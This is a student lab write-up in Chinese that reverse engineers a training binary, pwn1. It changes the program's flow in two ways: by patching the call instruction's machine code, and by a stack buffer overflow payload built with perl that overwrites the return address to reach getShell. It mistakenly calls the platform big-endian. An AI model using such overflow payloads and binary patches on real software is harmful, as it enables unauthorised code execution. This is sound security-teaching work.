20145221《网络对抗》PC平台逆向破解

20145221《网络对抗》PC平台逆向破解

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

实践要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（1分）

掌握反汇编与十六进制编程器 (1分)

能正确修改机器指令改变程序执行流程（1分）

能正确构造payload进行bof攻击（2分）

Optional:进阶，shellcode编程与注入

实践两种方法

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。



这几种思路，基本代表现实情况中的攻击目标

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

基础知识

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）

JNE：条件转移指令，如果不相等则跳转。（机器码：75）

JE：条件转移指令，如果相等则跳转。（机器码：74）

JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）

CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

策略1：直接修改程序机器指令，改变程序执行流程

反汇编，了解程序的基本功能

键入指令：

objdump -d 20145221 | more

找到该程序的关键函数（暂不考虑其余库函数），如下图



根据上图易知，程序通过main函数入口开始执行代码，然后main函数会调用foo函数（功能为：将用户输入的字符回显在屏幕上），其中还有一个没有调用的getshell函数（功能为：打开一个可用Shell），显然如果程序正常执行，是不会运行getshell函数部分的，而我们就是要通过修改程序机器指令，达到改变程序执行流程的目的。

直接修改机器码

所以，最基本的思路就是让main函数不再调用foo函数，转而调用getshell函数。观察如下代码：

root@KaliYL:~#  objdump -d pwn1 | more

0804847d <getShell>:
804847d:   55                      push   %ebp
...
08048491 <foo>:
8048491:   55                      push   %ebp
...
080484af <main>:
...
80484b5:   e8 d7 ff ff ff          call   8048491 <foo>
80484ba:   b8 00 00 00 00          mov    $0x0,%eax
...

首先我们要找到call指令机器码与汇编代码的关系如下：

0x80484ba + 0xd7ffffff = 0x8048491

，其中机器码e8表示call

将上述计算式抽象出来可得：

call机器码 = 跳转地址 - call指令的下一个eip

由此我们计算调用getshell函数的机器码为：

e8 c3 ff ff ff

接下来我们只需要修改机器码即可：

Step1：

vi 20145221

，用vim编辑器查看可执行文件20145221；

Step2：

%! xxd

，进入vi编辑模式后，发现乱码，键入前述指令查看其16进制表示；

Step3：

/e8 d7

，查询需要改动的机器码的位置，锁定后，按

i

进入文本编辑模式，将其改为

e8 c3

Step4：

%! xxd -r

，退出16进制模式（注意：此处如果直接以16进制形式保存退出，运行该文件会报错）

Step5：

:wq!

，保存并退出。

此时，我们可以再用反汇编指令查看其机器码，不难发现此时已经改变了原代码。



退出到终端，执行指令：

./20145221

，结果如下：

策略2：通过构造输入参数，造成BOF攻击，改变程序执行流

反汇编，了解程序的基本功能

同上，不赘述。

确认输入字符串哪几个字符会覆盖到返回地址

通过观察foo函数的汇编代码，不难发现其存在BOF漏洞，那我们需要输入多少字符才会造成BOF呢？在此，我们采用每个字节的进行输入，观察程序什么时候崩溃。

经试发现，当输入达到28字节产生溢出

Segmentation fault

。



现在能明确该程序有BOF了，接下来我们接着往后输入，观察什么时候可以覆盖其返回地址，让程序调用完foo函数后走向getshell函数，就能达到目的了。在此，我们使用用GDB调试工具。

GDB调试，确认用什么值来覆盖返回地址

gdb 20145221

，进入调试，并输入一串可让其溢出的字符；

info r

，查看溢出时寄存器状态如下：



不难发现，此时“1234”覆盖了其新的eip，所以我们只需要将getshell的内存地址替换这4个字符，就可以达到程序向getshell函数转移的目的。

构造一串特殊的输入，由于getShell的内存地址是

0x0804847d

，而其对应的ASCII没有字符，所以我们通过一个简单的perl脚本语言来构造输入值。

perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input

注意：kali系统采用的是大端法，所以构造内存地址时注意顺序，末尾的

\0a

表示回车换行。

(cat input; cat) | ./20145221

，将input文件作为输入，结果如下：

实践总结

本次实践是我第一次体会到BOF攻击的效果，之前都是理论的学习，知道有这么一个漏洞，但缺少实践的训练。此次通过特殊构造的“20145221”文件，利用2种不同的方法，达到了获取shell的目的，还是很有趣的。

但老师结束时也提到，这个只是简单的训练，真正的BOF是结合了shellcode编程与注入，这一点还有待加强，需要继续努力学习。